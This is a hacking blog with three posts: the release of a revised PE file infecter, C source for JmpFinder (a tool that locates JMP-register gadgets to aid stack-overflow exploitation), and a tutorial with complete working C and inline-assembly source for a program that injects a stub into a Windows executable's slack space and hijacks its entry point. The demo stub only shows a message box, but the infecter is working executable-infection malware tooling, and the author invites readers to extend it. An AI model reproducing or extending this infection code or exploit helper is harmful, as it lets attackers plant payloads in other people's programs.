KOrUPt

January 6, 2009

Revised PE infecter source

Filed under: Coding — Tags: , , , , , , — KOrUPt @ 04:03

Ok so I spent the last few days revising my PE infecter code.
 

I’ve uploaded the revised source code along with a release build.

Many improvements have been made, I’m sure you’ll spot a few once you glance over the source code.

Below is a quote of the usage output:

PE File Infecter By KOrUPt @ KOrUPt.co.uk
Usage: KInfect2.exe <stub file> <target file> <infection method>

Infection methods:
’s’ – Use code section slack space(stealthy but volatile)
‘e’ – Expand last section(less stealthy and volatile)
‘n’ – Append a new section(least stealthy but less volatile)

 
I’ll add more infection methods at a later date. Of course you’re welcome to add some yourself, adding an a new entry to the import table would be a nice exercise(I’ve purposely left room for improvement).

If you do feel like improving it consider posting a link to the revised code as a comment.

Let know what you think.

Download link:
korupt.co.uk/KInfect2.rar

KOrUPt.

 

December 24, 2008

JmpFinder

Filed under: Coding, Tools — Tags: , , , , — KOrUPt @ 00:11

This is a tool I wrote to aid in exploitation of Windows PE files, its sole purpose is to find the location of instructions that jump into registers.

Those familiar with software exploitation will know why it’s useful to have the Virtual Address of a "JMP ESP" in memory…

I’ve released this tool on a few sites already but I figured I may as well post it here too…

Below is the source code, I’ve also uploaded a copy of the compiled version to this server…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// JmpFinder V1.4 By KOrUPt with credit Napalm for helping :)
#pragma comment(linker,"/BASE:0x400000 /FILEALIGN:0x200 /MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR /IGNORE:4078")
#pragma comment(lib, "version.lib")
#include <windows.h>
#include <stdio.h>
#include "x86opsize.cpp" // < hackjob for scITE :p
 
struct LANGANDCODEPAGE {
  WORD wLanguage;
  WORD wCodePage;
} *lpTranslate;
 
DWORD FileToVa(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) // By Napalm
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
 
		lpSecHdr++;
    }
 
    return NULL;
}	
 
int main(int argc, char* argv[])
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER lpSecHdr;
	HANDLE hFile, hFileMap;
    LPBYTE hMap;
 
	char subBlock[256];
	char jmpTable[][4] = { "EAX", "ECX", "EDX", "EBX", "ESP", "EBP", "ESI", "EDI", 0 };
	LPVOID versionInfo, versionOutput; 
	DWORD dwSize, fsize, i, useOpsize = 0;
	UINT  generic = 0;
 
	printf("[*] Jmp Finder V1.4 By KOrUPt\n");
 
    if(argc < 2){
        printf("[-] Usage: %s <file> [IncrementByOpSize]\n", argv[0]);
        return 0;
    }
 
	if(argc == 3){
		printf("[*] Incrementing by instruction size\n");
		useOpsize = 1;
	}
 
	// map file
    hFile = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
 
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_READ_ACCESS, 0, 0, 0);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
 
	fsize = GetFileSize(hFile, 0);
	if(fsize < (sizeof(IMAGE_DOS_SIGNATURE) + sizeof(IMAGE_NT_HEADERS)) || fsize == INVALID_FILE_SIZE){
		printf("[-] PE Headers not found\n");
		CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
	}
 
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
 
	pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
 
	if(pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
		printf("[-] Architecture not supported\n");
		goto cleanup;
	}
 
	printf("[*] Scanning file: %s\n", argv[1]);
 
	// get version info
	if((dwSize = GetFileVersionInfoSize(argv[1], &i))){
		versionInfo = malloc(dwSize);
		if(versionInfo){
			if(GetFileVersionInfo(argv[1], 0, dwSize, versionInfo)){
				if(VerQueryValue(versionInfo, "\\VarFileInfo\\Translation", (LPVOID *)&lpTranslate, &generic)){
					wsprintf(subBlock, "\\StringFileInfo\\%04x%04x\\FileVersion", lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
					if(VerQueryValue(versionInfo, subBlock, (LPVOID *)&versionOutput, &generic))
						printf("[+] File Version: %s\n\n", versionOutput);
				}
			}
 
			free(versionInfo);
		}
	}
 
	lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
	for(i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++){
		if(lpSecHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE){
			BYTE bOpcode2;
			LPBYTE lpStart = (hMap + lpSecHdr->PointerToRawData);
			LPBYTE lpEnd   = (lpStart + lpSecHdr->SizeOfRawData);
 
			while(lpStart < lpEnd){
				bOpcode2 =  *(lpStart + 1);
				if(*lpStart == 0xFF && bOpcode2 >= 0xE0 && bOpcode2 <= 0xE7){
					printf("%Jmp %s located!", jmpTable[bOpcode2 & 0xF]);
					printf("\n[*] Virtual Address: 0x%08lX\n[*] FileOffset: 0x%08lX\n\n",
					FileToVa((lpStart - hMap), pNtHeaders), (lpStart - hMap));
				}
 
				if(useOpsize)
					lpStart += x86opsize(lpStart);
				else lpStart++;
			}
		}
 
		lpSecHdr++;
	}
 
	printf("[+] Happy Stack Smashing :)!\n");
 
	cleanup:
	FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
	return 0;
}

Download: http://korupt.co.uk/JmpFinder.exe

I look forward to reading your comments and such, if you’ve any questions please let me know! KOrUPt.

December 23, 2008

PE Infection

Filed under: Coding, Tips and Tricks — Tags: , , , , , — KOrUPt @ 22:37

Portable Executable file infection is a subject I always found to be sketchy. There was always a piece of the puzzle missing in my case… In this article I hope to clarify the matter and hopefully provide a good starting point for those wanting to learn how such tools work.

I want to mention that I’m writing this article with an intention of educating others. You may start out with PE infection, but eventually I hope that you’ll move onto authoring PE protection tools and exploiting your newly found knowledge in a positive and ethical manner. A lot can be learned during the development and implementation process of such tools.

I’ll mainly be using C and inline Assembler in this article and I’ll assume you’ve at least a working knowledge of both C and Assembler.

Firstly, what is a PE file? You can find out by skimming through this page:

Secondly, what is PE infection?

In my opinion PE infection is simply a method of inserting arbitrary (malicious) code into a compiled portable executable whilst maintaining the executable’s normal functionality(it still appears to execute as if it had not been tampered with).

Of course to infect a PE file we’ll need to know about the PE file format, various documents exist on this subject, I recommend you take a look at the following before you continue reading this article.

A typical PE file’s layout looks like this:

[MZ Header]

[MZ Signature]

[PE Headers]

[PE Signature]

[IMAGE_FILE_HEADER][IMAGE_OPTIONAL_HEADER]

[Section Table]

[Section 1][Section 2][Section n]

I’ve neglected the DOS header above but it shouldn’t matter too much, my goal is not to teach you the inner workings of the PE file format.

Inside the IMAGE_OPTIONAL_HEADER we’ve pointers to various data directories, these directories usually point to Import and Relocation table’s amongst other things that are contained in certain sections of the PE, we must preserve or rebuild these directories ourself should we want to destroy them… Such a case is if you encrypt a section that contains the contents of one the directories.

The basic idea behind PE infection is to first insert our code into slack space, modify the original entrypoint address to point to our code, execute it, then jump back to the host’s original entrypoint so the PE file executes as if our code didn’t exist.

Pseudo code would be similar to this:

  • Open target file
  • Verify MZ and PE signatures exist
  • Search for a specified length of NULL bytes starting from the beginning of the last section on disk
  • Write our stub into the newly located slack space
  • Modify our current entrypoint to point to the start of our newly inserted code
  • Close target file

Now I’d like to point out that Stub construction can usually be the harder part of PE infection, as you’ll find out shortly.

For now let’s begin with an implementation of our above Pseudo code…

We need to open the file and map it(this makes for easier modifications), I’m not going to explain what each API does as MSDN can do that for you.

The following snippet does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HANDLE hFile, hFileMap;
LPBYTE hMap;
DWORD fsize;
 
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE){
	printf("[-] Cannot open %s\n", argv[1]);
	return 0;
}
 
fsize = GetFileSize(hFile, 0);
if(!fsize){
	printf("[-] Invalid file size\n");
	CloseHandle(hFile);
	return 0;
}
 
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}

Now we’ve a valid handle to our file we can begin by checking our MZ and PE signatures exist, Windows has pre built structures that make our job easier, they are as follows: 

1
2
3
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;

We can fill these in and check our signatures like so:

1
2
3
4
5
6
7
8
9
10
11
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
	printf("[-] DOS signature not found\n");
	goto cleanup;
}
 
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
	printf("[-] NT signature not found\n");
	goto cleanup;
}

Ok so what’s left? Ah yes, we need to find some free space to write our stub code into, to do this we’ll need to walk the section table and locate the last section, then search for a few NULL bytes starting from the offset of the last section… Luckilly this is easier than it sounds. If we fail to find a sufficent amount of NULL bytes then we’ll need to expand the last section’s size so our code will fit in, I’ll go over this shortly.

The following code does this for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
DWORD writeOffset;
unsigned int i = pSection->PointerToRawData;
int charcounter = 0;
 
for(; i != fsize; i++){
	if((char *)hMap[i] == 0x00){
		if(charcounter++ == stubLength){
			printf("[+] Code cave located @ 0x%08lX\n", i);
			writeOffset = i;
		}
	}else charcounter = 0;
}
 
if(charcounter == 0 || writeOffset == 0){
	printf("[-] Could not locate a big enough code cave\n");
	goto cleanup;
}
 
writeOffset -= stubLength;

Once we’ve found some free space and got an offset on disk to it, we can write our stub there.

What Stub I hear you ask? …And this is where I start the chapter about Stub Construction.

Firstly, what is an (infection) Stub? To me a Stub is basically a small chunk of code that executes before the hosts code, basically our infection code.

Our stub will be written in inline Assembler, you can use nasm if you like, but for simplicity I’m going to do it this way.

You should ask yourself what you need your stub to do before you go about coding it, in my case I simply want to display a message box to the user, whilst this defeats the point of stealth I’m only trying to demonstrate a concept, so this will suffice for now.

In order to call API’s we’ll need to either:

  1. Use fixed address’s
  2. Walk kernel32’s export and resolve GetProcAddress() and GetModuleHandleA()

For simplicity, I’ve opted for option 1, I’ll leave an implementation of option 2 open as an exercise for a few days.

I’d like to point out that I’m using MS’s compiler and MSV6 at the moment, should you have compilation errors(I’d imagine you will with GCC).

Currently our stub looks like this(see below), I’ve commented the code to save a few words. This code doesn’t really do anything as of yet, it’s just the needed code.

1
2
3
4
5
6
7
8
9
10
11
12
13
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
	}
}

Now we can expand this code to call MessageBoxA() with our desired text. I’ll be using fixed address’s that may change on different OS’s so keep that in mind should you want your code to be portable… I’m using Windows XP SP2 at the moment.

Our Stub now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC	// place holder for address of MessageBox
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}

Ok so now we’ve got our infection Stub, how do we write it into our PE file? This isn’t terribly difficult, just a simple call to memcpy() will suffice… but first we need to fill in those place holders scattered around our Stub. This will involve:

  1. Copying our inline assembler code into a buffer
  2. Locating the start of our place holder in the buffer
  3. Overwriting that place holder

Simple enough ‘ay… If you’re like me you may be able to understand code better than descriptions, not long to go now.

Now do you know what data we have to fill those place holders with? The first place holder needs to contain the virtual address of MessageBoxA, the second needs to contain the Original Entrypoint’s address in memory.

We can obtain the address of MessageBoxA like so:

1
2
3
4
5
6
7
hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
	printf("[-] Could not load User32.dll");
	return 0;
}
 
dwAddress = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

Remember those PE structures I asked you to read up about earlier? If you did your homework you’ll know the entrypoint on disk is stored in the IMAGE_OPTIONAL_HEADER structure, which can be found in the IMAGE_NT_HEADERS structure.

We need to store our original entrypoint so our stub can return to it later… This can be done like so:

1
2
3
DWORD oep, oepRva;
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

I can imagine you’re becoming tired now, I am… But we’re nearly there, there’s no point in my stopping now, only a few more bases to cover, I’ll contiue telling myself that too :p.

We now need to put our inline assembly code into a buffer, but first we need our Stub codes size, notice that "void StubEnd(){}" at the end of our Stub? This label exists so we can calculate our Stubs size without problems.

Allow me to enlighten you:

1
2
3
4
// work out stub size
DWORD start	 = (DWORD)StubStart;
DWORD end 	 = (DWORD)StubEnd;
DWORD stubLength = (end - start);

Once we’ve got the size, we can use memcpy() on our function as if it were a normal buffer. Like so:

1
2
3
4
5
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub)
	goto cleanup;
 
memcpy(stub, StubStart, stubLength);

Now to actually locate and fill in our place holders, this part is easier than you may think and in my opinion the code should do a better job explaining it than I will at the moment(as it’s now gone 5am)…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// locate place holder offsets
for(i = 0, charcounter = 0; i != stubLength; i++){
	if(stub[i] == 0xCC){
		charcounter++;
		if(charcounter == 4 && callOffset == 0) callOffset = i - 3;
		else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3;
	}else charcounter = 0;
}
 
// check we've found them
if(oepOffset == 0 || callOffset == 0){
	free(stub);
	goto cleanup;
}
 
// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
 
// we no longer need this
FreeLibrary(hUser32);

We can now write our Stub into the free space we located earlier using memcpy() like so:

1
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);

Now we need to repair our PE images section sizes and such, in this case I’m just going to increase the virtual size of the section we’ve modified(you may need to round it up to correct page alignment, I’ve decided to keep it simple in this case so I’m simply going to increase the size). I want to point out that this is usually not the only thing you may need to repair when dealing with some executable’s, things like raw size of sections and size of image may also need to repaired in some cases.

We can increase the section size like so:

1
2
// set section size
pSection->Misc.VirtualSize += stubLength;

Now we need to update the original entrypoint to point to our new code, we also need to make our new code section executable, this can be done like so:

1
2
3
4
5
pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
// change sections permission flags so we can execute code
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

What happens if our executable has no slack space for our code to fit in? We can overcome this by mapping the file with a file size big enough to contain itself and our Stub, this will write the extra bytes into the file, after which we can use something like "writeOffset = dwNewFileSize + 4;". Here’s some code for those who don’t understand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize + stubLength + 5, NULL);
if(!hFileMap){
	printf("[-] CreateFileMapping failed\n");
	CloseHandle(hFile);
	return 0;
}
 
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize + stubLength + 5);
if(!hMap){
	printf("[-] MapViewOfFile failed\n");
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	return 0;
}
 
writeOffset = fsize;

Hopefully that helps clear things up a little.

What’s left? That was it! Cleaning up after ourselves.

This is probabbly the simplest part of all:

1
2
3
4
5
6
7
8
9
10
11
free(stub);
 
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
 
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;

Finally, I’m not one to leave you hanging, below is the source code of our newly created PE infecter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
// PE Infecter by KOrUPt @ KOrUPt.co.uk
#include <windows.h>
#include <stdio.h>
 
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
	__asm{
		pushad	// preserve our thread context
		call GetBasePointer
		GetBasePointer:	
		pop ebp
		sub ebp, offset GetBasePointer // delta offset trick. Think relative...
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xCCCCCCCC
		call eax
 
		popad	// restore our thread context
		push 0xCCCCCCCC	// push address of orignal entrypoint(place holder)
		retn	// retn used as jmp
 
		szText:
			bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
			bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
		szTitle:
			bb('O') bb('h') bb('a') bb('i') bb(0)
 
	}
}
void StubEnd(){}
 
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
 
		lpSecHdr++;
    }
 
    return NULL;
}
 
int main(int argc, char* argv[]) 
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSection, pSectionHeader;
	HANDLE hFile, hFileMap;
    HMODULE hUser32;
	LPBYTE hMap;
 
    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;
 
	// work out stub size
	DWORD start	 = (DWORD)StubStart;
	DWORD end 	 = (DWORD)StubEnd;
	DWORD stubLength = (end - start);
 
    if(argc != 2){
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }
 
	// map file
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
 
	fsize = GetFileSize(hFile, 0);
	if(!fsize){
		printf("[-] Could not get files size\n");
		CloseHandle(hFile);
		return 0;
	}
 
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
 
	// check signatures
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
 
    pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
 
    // get last section's header...
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
	pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
 
	// save entrypoint
	oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
 
	// locate free space
	i = pSection->PointerToRawData;
	for(; i != fsize; i++){
		if((char *)hMap[i] == 0x00){
			if(charcounter++ == stubLength + 24){
				printf("[+] Code cave located @ 0x%08lX\n", i);
				writeOffset = i;
			}
		}else charcounter = 0;
	}
 
    if(charcounter == 0 || writeOffset == 0){
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }
 
	writeOffset -= stubLength;
 
    stub = (unsigned char *)malloc(stubLength + 1);
    if(!stub){
        printf("[-] Error allocating sufficent memory for code\n");
		goto cleanup;
    }
 
	// copy stub into a buffer
	memcpy(stub, StubStart, stubLength);
 
	// locate offsets of place holders in code
	for(i = 0, charcounter = 0; i != stubLength; i++){
        if(stub[i] == 0xCC){
            charcounter++;
			if(charcounter == 4 && callOffset == 0)
				callOffset = i - 3;
			else if(charcounter == 4 && oepOffset == 0)
				oepOffset = i - 3;
		}else charcounter = 0;
	}
 
	// check they're valid
	if(oepOffset == 0 || callOffset == 0){
		free(stub);
		goto cleanup;
	}
 
	hUser32 = LoadLibrary("User32.dll");
	if(!hUser32){
		free(stub);
		printf("[-] Could not load User32.dll");
		goto cleanup;
	}
 
	// fill in place holders
	*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
	*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
	FreeLibrary(hUser32);
 
	// write stub
	memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
 
	// set entrypoint
	pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
		FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
 
	// set section size
	pSection->Misc.VirtualSize += stubLength;
	pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
 
	// cleanup
	printf("[+] Stub written!!\n[*] Cleaning up\n");
	free(stub);
 
	cleanup:
	FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
 
    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}

 

And I think that just about covers this blog post for now… I hope you enjoyed reading it. I look forward to reading your comments and reviews on this topic.

 

KOrUPt.

Powered by WordPress